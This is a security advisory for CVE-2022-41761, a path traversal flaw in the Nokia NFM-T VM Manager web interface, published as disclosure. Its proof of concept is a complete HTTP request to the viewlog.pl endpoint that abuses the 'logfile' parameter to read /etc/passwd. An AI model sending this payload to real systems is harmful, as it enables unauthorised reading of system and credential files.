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CVE-2022-41761

CVE-2022-41761 – NOKIA NFM-T VM Manager WebUI

Vulnerability Description: Absolute Path Traversal – CWE-36

Software Version: R19.9

NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-41761

CVSv3: 6.5

Severity: Medium

Credits: Luca Di Giuseppe, Alessandro Bosco, Stefano Scipioni, Massimiliano Brolli

The web server fails to sanitize the input data allowing remote authenticated attacker to read files on the filesystem arbitrarily.

 

Step-by-step instructions and PoC

After authenticating the web application, the endpoint "/cgi-bin/R19.9/viewlog.pl " was identified using a direct object reference in the HTTP request, i.e., using the explicit name of the resource to access. By inserting an arbitrary filename in the “logfile” parameter, it is possible to read arbitrary files present on the filesystem.

 

Affected Endpoints:

·       URL: https://[...]/cgi-bin/R19.9/viewlog.pl

 

Parameter:

·       HTTP GET: logfile

 

Below are the evidences with the vulnerability details and the payloads used.

 

GET /cgi-bin/R19.9/viewlog.pl?action=getfile&logfile=/etc/passwd HTTP/1.1

Host: [...]

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic [...]

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Te: trailers

Connection: close

 

Detail of the HTTP request/response showing the exploitation of the vulnerability and the illicit reading of the "/etc/passwd" file:

Security Impact

 

Exploiting this vulnerability on the web portal it was possible to read the files on the filesystem.